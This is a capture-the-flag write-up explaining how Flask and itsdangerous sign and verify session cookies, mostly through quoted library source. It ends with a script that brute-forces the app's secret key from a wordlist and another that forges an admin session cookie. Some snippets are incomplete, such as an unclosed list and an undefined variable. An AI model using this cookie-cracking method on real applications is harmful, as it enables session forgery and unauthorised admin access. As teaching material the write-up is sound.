.local/lib/python3.10/site-packages/itsdangerous/url_safe.py

```
class URLSafeSerializerMixin(Serializer[str]):
    """Mixed in with a regular serializer it will attempt to zlib
    compress the string to make it shorter if necessary. It will also
    base64 encode the string so that it can safely be placed in a URL.
    """

    default_serializer: _PDataSerializer[str] = _CompactJSON

    def load_payload(
        self,
        payload: bytes,
        *args: t.Any,
        serializer: t.Any | None = None,
        **kwargs: t.Any,
    ) -> t.Any:
        decompress = False

        if payload.startswith(b"."):
            payload = payload[1:]           # get the data after #
            decompress = True

        try:
            json = base64_decode(payload)
        except Exception as e:
            raise BadPayload(
                "Could not base64 decode the payload because of an exception",
                original_error=e,
            ) from e

        if decompress:
            try:
                json = zlib.decompress(json)
            except Exception as e:
                raise BadPayload(
                    "Could not zlib decompress the payload before decoding the
payload",
```

```
                    original_error=e,
                ) from e

        return super().load_payload(json, *args, **kwargs)
```

load_payload() method is used for remove the dot (“.”) from payload and decode to base64, this process like the first part of flask cookie, then return the bytes by `zlib.decompress`

Here is example of encode airflow in Flask:

- dump_payload() in url_safe.py
- encoding.py

```
import zlib
import base64

trg = b'truong'

def base64_decode(string: str | bytes) -> bytes:
    """Base64 decode a URL-safe string of bytes or text. The result is
    bytes.
    """
    string = want_bytes(string, encoding="ascii", errors="ignore")
    string += b"=" * (-len(string) % 4)

    try:
        return base64.urlsafe_b64decode(string)
    except (TypeError, ValueError) as e:
        raise BadData("Invalid base64-encoded data") from e
```

```
def want_bytes(
    s: str | bytes, encoding: str = "utf-8", errors: str = "strict"
) -> bytes:
    if isinstance(s, str):
        s = s.encode(encoding, errors)

    return s

def base64_encode(string: str | bytes) -> bytes:
    """Base64 encode a string of bytes or text. The resulting bytes are
    safe to use in URLs.
    """
    string = want_bytes(string)
    return base64.urlsafe_b64encode(string).rstrip(b"=")

compressed = zlib.compress(trg)
base64d = base64_encode(compressed)

base64d = b'.' + base64d

print(base64d)
```

In write-up Baking Flask cookie, we got note that class `SecureCookieSessionInterface` in flask/session.py is handling the cookie.

The `def get_signing_serializer()` cookie function return the `URLSafeTimedSerializer` the which call the function `URLSafeSerializerMixin` as i analyzed in upper part, inherited form Serializer class (Mixed in with a regular serializer it will attempt to zlib compress the string to make it shorter if necessary. It will also base64 encode the string so that it can safely be placed in a URL.)

All the COOKIE-HANDLING code is at “itsdangerous” folder Python package
Verifying the cryptographic part (last of JWT) is handled by signer.py.

serializer.loads(signed_value)

- **Purpose**: This method is used to **verify and deserialize the signed session cookie**.

=> call to signer object and check

```
def loads(
        self, s: str | bytes, salt: str | bytes | None = None, **kwargs: t.Any
    ) -> t.Any:
        """Reverse of :meth:`dumps`. Raises :exc:`.BadSignature` if the
        signature validation fails.
        """
        s = want_bytes(s)
        last_exception = None
        for signer in self.iter_unsigners(salt):
            try:
                return self.load_payload(signer.unsign(s))
            except BadSignature as err:
                last_exception = err
        raise t.cast(BadSignature, last_exception)
```

serializer.dumps(cookie_value)

- **Purpose**: This method is used to **create a signed session cookie**.

=> take the secret and signing

```python
def dumps(self, obj: t.Any, salt: str | bytes | None = None) -> _TSerialized:
        """Returns a signed string serialized with the internal
        serializer. The return value can be either a byte or unicode
        string depending on the format of the internal serializer.
        """
        payload = want_bytes(self.dump_payload(obj))
        rv = self.make_signer(salt).sign(payload)

        if self.is_text_serializer:
            return rv.decode("utf-8")  # type: ignore[return-value]

        return rv  # type: ignore[return-value]
```

*** Exploitation ***

In 295, dist-packages/flask/sessions.py

- salt = “cookie-session”’
- digest_method = staticmethod(_lazy_sha1) // sha1

// key derivation method

- key_derivation = “hmac”

// A python serializer for the payload. The default is a compact JSON derived serializer with support for some extra Python types such as datetime objects or tuples

- serializer = session_json_serializer == `TaggedJSONSerializer()`

.def get_signing_serializer() => return

```python
    return URLSafeTimedSerializer(
        app.secret_key,
        salt=self.salt,
        serializer=self.serializer,
        signer_kwargs=signer_kwargs,
    )
```

```python
def open_session(self, app: Flask, request: Request) -> SecureCookieSession | None:
    s = self.get_signing_serializer(app)
    if s is None:
        return None
    val = request.cookies.get(self.get_cookie_name(app))
    if not val:
        return self.session_class()
    max_age = int(app.permanent_session_lifetime.total_seconds())
    try:
        data = s.loads(val, max_age=max_age)
        return self.session_class(data)
    except BadSignature:
        return self.session_class()
```

Get a URLSafeTimedSerializer object by Flask object. Then assign the value of the cookie name to “val”. If “val” is falsy, reload the session.

- data = s.loads(val, max_age=max_age)

loads function in timed.py:

```python
class TimedSerializer(Serializer[_TSerialized]):
    def loads(  # type: ignore[override]
    ) -> t.Any:
        """Reverse of :meth:`dumps`, raises :exc:`.BadSignature` if the
        signature validation fails. If a ``max_age`` is provided it will
        ensure the signature is not older than that time in seconds. In
        case the signature is outdated, :exc:`.SignatureExpired` is
        raised. All arguments are forwarded to the signer's
        :meth:`~TimestampSigner.unsign` method.
        """
        s = want_bytes(s)
        last_exception = None

        for signer in self.iter_unsigners(salt):
            try:
                base64d, timestamp = signer.unsign(
                    s, max_age=max_age, return_timestamp=True
                )
                payload = self.load_payload(base64d)

                if return_timestamp:
                    return payload, timestamp

                return payload
            except SignatureExpired:
                # The signature was unsigned successfully but was
                # expired. Do not try the next signer.
                raise
            except BadSignature as err:
                last_exception = err

        raise t.cast(BadSignature, last_exception)
```

s : JWT cookie

So, if call to open_session(), then the Flask object do the validation by loads(), both check max-age and cryptographic.The loads() function in timed.py also called to unsign() If everything is go true

so the function iterate all signer, signer is a used for unsign => verify the crypto

unsign() used in timed.py also inherited from class Signer, and check the timestamp for validation

```
22  class TimestampSigner(Signer):
72      def unsign(
87          """
88          try:
89              result = super().unsign(signed_value)
90              sig_error = None
91          except BadSignature as e:
92              sig_error = e
93              result = e.payload or b""
94
```

result = abc.cde
if the verify with secret key and signature is going well

```
244     def unsign(self, signed_value: str | bytes) -> bytes:
245         """Unsigns the given string."""
246         signed_value = want_bytes(signed_value)
247
248         if self.sep not in signed_value:
249             raise BadSignature(f"No {self.sep!r} found in value")
250
251         value, sig = signed_value.rsplit(self.sep, 1)
252
253         if self.verify_signature(value, sig):
254             return value
255
256         raise BadSignature(f"Signature {sig!r} does not match", payload=value)
257
```

- `value, sig = signed_value.rsplit(self.sep, 1)`

=> abc.cde.efg => value = abc.cde, sig = efg

```python
    def verify_signature(self, value: str | bytes, sig: str | bytes) -> bool:
        """Verifies the signature for the given value."""
        try:
            sig = base64_decode(sig)
        except Exception:
            return False

        value = want_bytes(value)

        for secret_key in reversed(self.secret_keys):
            key = self.derive_key(secret_key)

            if self.algorithm.verify_signature(key, value, sig):
                return True

        return False
```

- `for secret_key in reversed(self.secret_keys)`

=> Loop secret key with reverse order

- `key = self.derive_key(secret_key)`

=>

```python
        """
        if secret_key is None:
            secret_key = self.secret_keys[-1]
        else:
            secret_key = want_bytes(secret_key)

        if self.key_derivation == "concat":
            return t.cast(bytes, self.digest_method(self.salt + secret_key).digest())
        elif self.key_derivation == "django-concat":
            return t.cast(
                bytes, self.digest_method(self.salt + b"signer" + secret_key).digest()
            )
        elif self.key_derivation == "hmac":
            mac = hmac.new(secret_key, digestmod=self.digest_method)
            mac.update(self.salt)
            return mac.digest()
        elif self.key_derivation == "none":
            return secret_key
        else:
            raise TypeError("Unknown key derivation method")
```

- Secret_key is defined before, so server convert the secret_key to byte, our case is hmac

This creates a new HMAC object using the provided **`secret_key`** and a specific **digest (hashing) method** in our case is SHA-1, HMAC object that can be used to generate a hash (digest) from data combined with the secret key

- `mac.update(self.salt)` => add salt to HMAC object

HMAC(key, message) = H((K ⊕ opad) || H((K ⊕ ipad) || message))

- `return mac.digest()` => return the value after hashed
-

=> `key = self.derive_key(secret_key)` => generate derived key.(KDF and SHA-1)

Returning to:

```
227     def verify_signature(self, value: str | bytes, sig: str | bytes) -> bool:
228         """Verifies the signature for the given value."""
229         try:
230             sig = base64_decode(sig)
231         except Exception:
232             return False
233 
234         value = want_bytes(value)
235 
236         for secret_key in reversed(self.secret_keys):
237             key = self.derive_key(secret_key)
238 
239             if self.algorithm.verify_signature(key, value, sig):
240                 return True
241 
242         return False
```

Then key is iterated in list secret_keys, generate its KDF key with HMAC and SHA-1, then verify it with given value by

- `verify_signature(key, value, sig)`

```
23          Verifies the given signature matches the expected signature.
24      def verify_signature(self, key: bytes, value: bytes, sig: bytes) -> bool:
25          """Verifies the given signature matches the expected
26          signature.
27          """
28          return hmac.compare_digest(sig, self.get_signature(key, value))
29 
```

```
62      def get_signature(self, key: bytes, value: bytes) -> bytes:
63          mac = hmac.new(key, msg=value, digestmod=self.digest_method)
64          return mac.digest()
65 
```

This function compare the sig, with the signature output of given key and given value (input first part of cookie abc.def). This return the signature of combining secret key and message

=> Back to unsign()

```
244     def unsign(self, signed_value: str | bytes) -> bytes:
245         """Unsigns the given string."""
246         signed_value = want_bytes(signed_value)
247 
248         if self.sep not in signed_value:
249             raise BadSignature(f"No {self.sep!r} found in value")
250 
251         value, sig = signed_value.rsplit(self.sep, 1)
252 
253         if self.verify_signature(value, sig):
254             return value
255 
256         raise BadSignature(f"Signature {sig!r} does not match", payload=value)
257 
```

signed_value is the given cookie: abc.cde.efg, after rsplit => value = abc.cde
sig = efg

if value is passed all function after it, then the unsign() is returning the abc.cde

=> back to unsign() in TimestampSigner(Signer) in timed.py

```
88          try:
89              result = super().unsign(signed_value)       # result = abc.cde
90              sig_error = None
```

```
102         if sep not in result:                       # if "." not in result => going wrong
103             if sig_error:
104                 raise sig_error
```

```
108         value, ts_bytes = result.rsplit(sep, 1)
109         ts_int: int | None = None
110         ts_dt: datetime | None = None
```

=> value = abc
ts_bytes = cde

```
112         try:
113             ts_int = bytes_to_int(base64_decode(ts_bytes))
```

example: tsbytes = Zt--Gw
=> ts_int = 1725939227

```python
        # Check timestamp is not older than max_age
        if max_age is not None:
            age = self.get_timestamp() - ts_int

            if age > max_age:
                raise SignatureExpired(
                    f"Signature age {age} > {max_age} seconds",
                    payload=value,
                    date_signed=self.timestamp_to_datetime(ts_int),
                )

            if age < 0:
                raise SignatureExpired(
                    f"Signature age {age} < 0 seconds",
                    payload=value,
                    date_signed=self.timestamp_to_datetime(ts_int),
                )

        if return_timestamp:
            return value, self.timestamp_to_datetime(ts_int)

        return value
```

If current time - given time => error
unsign() return both value and given timestamp if flag return_timestamp is true

- If the unsign successful => return_timestamp = true => base64d = value (abc)
  timestamp = int(cde)

```python
        s = want_bytes(s)                    # JWT cookie
        last_exception = None

        for signer in self.iter_unsigners(salt):
            try:
                base64d, timestamp = signer.unsign(
                    s, max_age=max_age, return_timestamp=True
                )
                payload = self.load_payload(base64d)

                if return_timestamp:
                    return payload, timestamp

                return payload
            except SignatureExpired:
                # The signature was unsigned successfully but was
                # expired. Do not try the next signer.
                raise
            except BadSignature as err:
                last_exception = err

        raise t.cast(BadSignature, last_exception)

```

- load_payload() is a function that check if its text, then decode it into “utf-8”

Example:

test = b'trg'
print(test.decode("utf-8"))

=> Print ‘trg’ to the screen

```
245     def load_payload(
246         self, payload: bytes, serializer: _PDataSerializer[t.Any] | None = None
247     ) -> t.Any:
248         """Loads the encoded object. This function raises
249         :class:`.BadPayload` if the payload is not valid. The
250         ``serializer`` parameter can be used to override the serializer
251         stored on the class. The encoded ``payload`` should always be
252         bytes.
253         """
254         if serializer is None:
255             use_serializer = self.serializer
256             is_text = self.is_text_serializer
257         else:
258             use_serializer = serializer
259             is_text = is_text_serializer(serializer)
260 
261         try:
262             if is_text:
263                 return use_serializer.loads(payload.decode("utf-8"))  # type: ignore[arg-type]
264 
265             return use_serializer.loads(payload)  # type: ignore[arg-type]
266         except Exception as e:
267             raise BadPayload(
268                 "Could not load the payload because an exception"
269                 " occurred on unserializing the data.",
270                 original_error=e,
271             ) from e
272 
```

Then its call loads function in protocol _PDataSerializer, which is overloaded by loads() in Deserializer class:

payload: abc(bytes)

=> loads(payload.decode(“utf-8”)) => loads(‘eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9’)

return use_serializer.loads(‘eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9’)

```python
def loads(
    self, s: str | bytes, salt: str | bytes | None = None, **kwargs: t.Any
) -> t.Any:
    """Reverse of :meth:`dumps`. Raises :exc:`.BadSignature` if the
    signature validation fails.
    """
    s = want_bytes(s)
    last_exception = None

    for signer in self.iter_unsigners(salt):
        try:
            return self.load_payload(signer.unsign(s))
        except BadSignature as err:
            last_exception = err
```

Then here, this do a unsign() function for checking the cryptographic
=> return

Then return a SecureCookieSession with data is the payload (“very_auth” = “admin”)

```python
data = s.loads(val, max_age=max_age)
return self.session_class(data)
```

Payload

so for crack the cookie, we need to simulate all the process, then reverse it. Firstly, add all file in module “itsdangerous” to our exploit directory

JWT: abc.cde.efg

sessions.py -> open_session() -> loads() -> return “abc” -> signer.unsign() -> verifying sign, timestamp -> return payload: “abc”, timestamp: “cde” -> `super().unsign(JWT)`
-> verifying signature -> derive key from secret key -> verifying (key, abc.cde, efg) return abc.cde -> compare hmac of sig and get_signature(key, abc.cde)

So, we just need to call the function loads(), the entire sequence is automatically processing

=> payload:

```python
from .timed import TimestampSigner
from .url_safe import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
from hashlib import sha1
from .exc import BadSignature

secret_keys = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap",
cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZuFMUQ.TSo7e1UwHHmAvToyoC6c7sGeLtg'

for secret in secret_keys:
    try:
        serializer = URLSafeTimedSerializer(
            secret_key=secret,
            salt="cookie-session",
            serializer=TaggedJSONSerializer,
            signer=TimestampSigner,
            signer_kwargs={
                'key_derivation': 'hmac',
                'digest_method': sha1
            }).loads(cookie)
    except BadSignature:
        continue

    print('Secret key: {}'.format(secret))
```

This declare a new serializer by URLSafeTimedSerializer class, if everything is going well, print the secret to screen.

So, we got the secret key is “peanut butter”

So, what we need to do now is changing very_auth to admin, with secret_key =>

```python
session = {'very_auth': 'admin'}
print(URLSafeTimedSerializer(
    secret_key=shhh,
    salt='cookie-session',
    serializer=TaggedJSONSerializer(),
    signer=TimestampSigner,
    signer_kwargs={
        'key_derivation': 'hmac',
        'digest_method': sha1
    }
).dumps(session))

# as i mentioned before
#   serializer.loads(signed_value)
#       Purpose: This method is used to verify and deserialize the signed session cook

#   serializer.dumps(cookie_value)
#       serializer.dumps(cookie_value)
#       Purpose: This method is used to create a signed session cookie.
```

Flag:
picoCTF{pwn_4ll_th3_cook1E5_22fe0842}